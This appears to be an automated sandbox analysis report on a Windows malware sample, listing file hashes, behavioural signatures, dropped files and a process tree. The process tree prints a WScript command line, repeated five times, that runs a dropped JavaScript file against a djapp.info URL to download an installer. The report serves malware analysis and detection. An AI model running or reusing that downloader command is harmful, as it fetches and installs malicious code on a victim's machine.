Analysis

  • max time kernel
    121s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    10/05/2024, 01:10

General

  • Target

    2c9b4b59fed93ec7c7c43e7c7d6a0385_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    2c9b4b59fed93ec7c7c43e7c7d6a0385

  • SHA1

    562a5887445f2465922a14a32e1fd3fc548c8ce2

  • SHA256

    00d3e74aa2574d7f2b0598e85719cd41d294d3a857fa4922921e1a28055e7fe6

  • SHA512

    e1aeac49253bcf01796f3a4f37086438a023fa7e54b93454cd11f73469e78682c7204136d13985b65cc167919811c0da98cbd4f7cf45ef0ffd0e233e1cf8c7a4

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3t:/7BSH8zUB+nGESaaRvoB7FJNndn4

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 14 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2c9b4b59fed93ec7c7c43e7c7d6a0385_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\2c9b4b59fed93ec7c7c43e7c7d6a0385_JaffaCakes118.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1680
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf85A.js" http://www.djapp.info/?domain=uXRkaFgSPf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fuf85A.exe
      2⤵
      • Blocklisted process makes network request
      • Modifies system certificate store
      PID:2140
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf85A.js" http://www.djapp.info/?domain=uXRkaFgSPf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fuf85A.exe
      2⤵
      • Blocklisted process makes network request
      • Modifies system certificate store
      PID:2264
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf85A.js" http://www.djapp.info/?domain=uXRkaFgSPf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fuf85A.exe
      2⤵
      • Blocklisted process makes network request
      PID:1092
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf85A.js" http://www.djapp.info/?domain=uXRkaFgSPf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fuf85A.exe
      2⤵
      • Blocklisted process makes network request
      PID:2308
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf85A.js" http://www.djapp.info/?domain=uXRkaFgSPf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fuf85A.exe
      2⤵
      • Blocklisted process makes network request
      PID:1476

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

    Filesize

    1KB

    MD5

    5857aff0ea0365561d0f06769a04101c

    SHA1

    0ac570f0ec93618c5849baf94c0a167e4a706a95

    SHA256

    b50c616b5c29bd9611ed360a238b6b6c421d0fe3b85df331e4951aefab526b2e

    SHA512

    1863b40407893a4a26beaa7ae4add199676c15b633d59afb4dfd2906328b29497fdddcb0ff01b9ba77ac59c5c55511fa669b0ffd6e02bcfa2d2cc53df62390be

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

    Filesize

    68KB

    MD5

    29f65ba8e88c063813cc50a4ea544e93

    SHA1

    05a7040d5c127e68c25d81cc51271ffb8bef3568

    SHA256

    1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

    SHA512

    e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

    Filesize

    724B

    MD5

    8202a1cd02e7d69597995cabbe881a12

    SHA1

    8858d9d934b7aa9330ee73de6c476acf19929ff6

    SHA256

    58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

    SHA512

    97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

    Filesize

    1KB

    MD5

    a266bb7dcc38a562631361bbf61dd11b

    SHA1

    3b1efd3a66ea28b16697394703a72ca340a05bd5

    SHA256

    df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

    SHA512

    0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

    Filesize

    410B

    MD5

    fdac8713839b0ae3bcad1021953bcf8c

    SHA1

    02482f05125bcd1d86a031d20900e4f1aa9fd93a

    SHA256

    5ca46de89650b363ab75e78289f6173a9f760d115a11307cd52c4e742f22cb67

    SHA512

    289346f2c8255479a4af26235916348d2e3871ac1b00c1436a0c9a711fe4ae0bfecdf1072c378b30a33ffd48f4e639b1af53d1289c67526854262afbb3f49768

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    304B

    MD5

    0e4b45e49b3694b5f7d90c365f017578

    SHA1

    cdbb76e927f803ea004c213c832cba4620508bf0

    SHA256

    4c34e44ec5e0c8412671ff160eef989661dbaa45ce7bed51bbb9589b9a565bdc

    SHA512

    4222e4083e84532c9aa40e35dcf993354eeacec335699a834ccafda2ab7d9785b70658147e0728d88f31d816391b9af3fea07152a84a534b4425a4c464a6a2be

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

    Filesize

    392B

    MD5

    05b4be25aafd16fe6105d52543c5bb43

    SHA1

    d1effa1f35400d53fb2837aa1f1765782c54c731

    SHA256

    11d07ec33942c6da7c59889d3428d036cf830dc7f6be6f4e26ad1e59b8c11084

    SHA512

    f4543f69543ab119eef1c1659c118119b3f995c11af87613deb2334673786dc9134d8d9ced6c7493e9dab46358deac7c978620a056a142fdedc5fe3ad656db56

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

    Filesize

    242B

    MD5

    4336fb8e6f4565993f029b33961ab96c

    SHA1

    ef21d68b9a621ab14a59d4b3f6fa3708520b0f00

    SHA256

    cef8b072f4d8b4cfd1bd69ca5e3c1169849555a1c03a5f3fcee345197cd9c5d7

    SHA512

    4743d30a3152dde22759d9506fc1de10dc417f647ed8c4350465b526b7513fd26dc870a06f9933bd743560261b76e9de99dcf5433f0de9c24e404f9874ced06d

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9V6J7ZSY\domain_profile[1].htm

    Filesize

    40KB

    MD5

    2e74dbc67cde10664e13693f0e71f94b

    SHA1

    b53b0f1a3299d9b74a42cc233d300051c087a790

    SHA256

    4074e1ac17de0d215941ea778df8115397eb6ad4d97468a1d1e14c1e92e17afd

    SHA512

    daa38b7aa1848b5b8a5ec6896247233c614b07f8fbd85e927f79863c19a34f4837b5683cf06c9a0078905901feba0f3406a9581f4d82847ff72b172244a6fbeb

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9V6J7ZSY\domain_profile[1].htm

    Filesize

    40KB

    MD5

    2b3c5ce21a4e1ed9fe3993f8868a33f8

    SHA1

    c981164753b8cbd06fc281daab577def22b8c500

    SHA256

    d8cedf4f08bec20caf7468234e7e229aeecc8b9b27a1da48f320809ec33b27bf

    SHA512

    52d4b9b2955a429f20ebf859dd36550cf9152f7de236a7e6518e4f0ddaf8c29f60513c221d683118ef7eaf5268021ab10ca87c33a5fc599014e0cd11c54f355d

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\Q7EYZSIN\domain_profile[1].htm

    Filesize

    6KB

    MD5

    8d53f1d5e91dde874bddccded9d21ea9

    SHA1

    cb94a62233a66d6e57a4a04309e7eccf0576b8bd

    SHA256

    afe8326e7ade037978c0de9484b22a5e1d422e1ad770cea41c26090c0a5afb34

    SHA512

    c6bb2fc414ae02de3c381f2b10e2957af60b8c2dc586f4651514754f368d0dbded9ff92af07c4a3ae86eb56740301609d573f6dbebae0bfa4679f0dd6efaa5a5

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\Q7EYZSIN\domain_profile[1].htm

    Filesize

    40KB

    MD5

    d1946c4b8f6afd8436a99cc50ad66be4

    SHA1

    a46024abd5723672e1cfa4c6516a9ba47ff33e06

    SHA256

    7880e17ccfa73da15ccc9bb75288150294d5a50b30a9f069ee905ad1f71ac338

    SHA512

    607e696cd4c0184ea2efc8cefc5ea51bd3c825b198a8020ef03e5ba6c91cf57f438c37f8f3ff02d2fdfc517f0cf6970065a0a256b244117756c7c439729e7ece

  • C:\Users\Admin\AppData\Local\Temp\Tar515C.tmp

    Filesize

    177KB

    MD5

    435a9ac180383f9fa094131b173a2f7b

    SHA1

    76944ea657a9db94f9a4bef38f88c46ed4166983

    SHA256

    67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

    SHA512

    1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

  • C:\Users\Admin\AppData\Local\Temp\fuf85A.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\AN38STWS.txt

    Filesize

    177B

    MD5

    8b1537f54dbe01389b95565cd2ca9808

    SHA1

    87c99f12becf47021ac1210bb96f7248b39e928a

    SHA256

    3d05149bd51fae55303088b021ff934b025b49db44edf9ee1917e50a55f7114c

    SHA512

    603f8ec45cff6c364bdd19a33299c4400bdef38a3a7bcecf9c13eff977bcd5344efe847213f1c288ed02764dad5d07e7021b219dd49d5e1d51b5225a4c4591be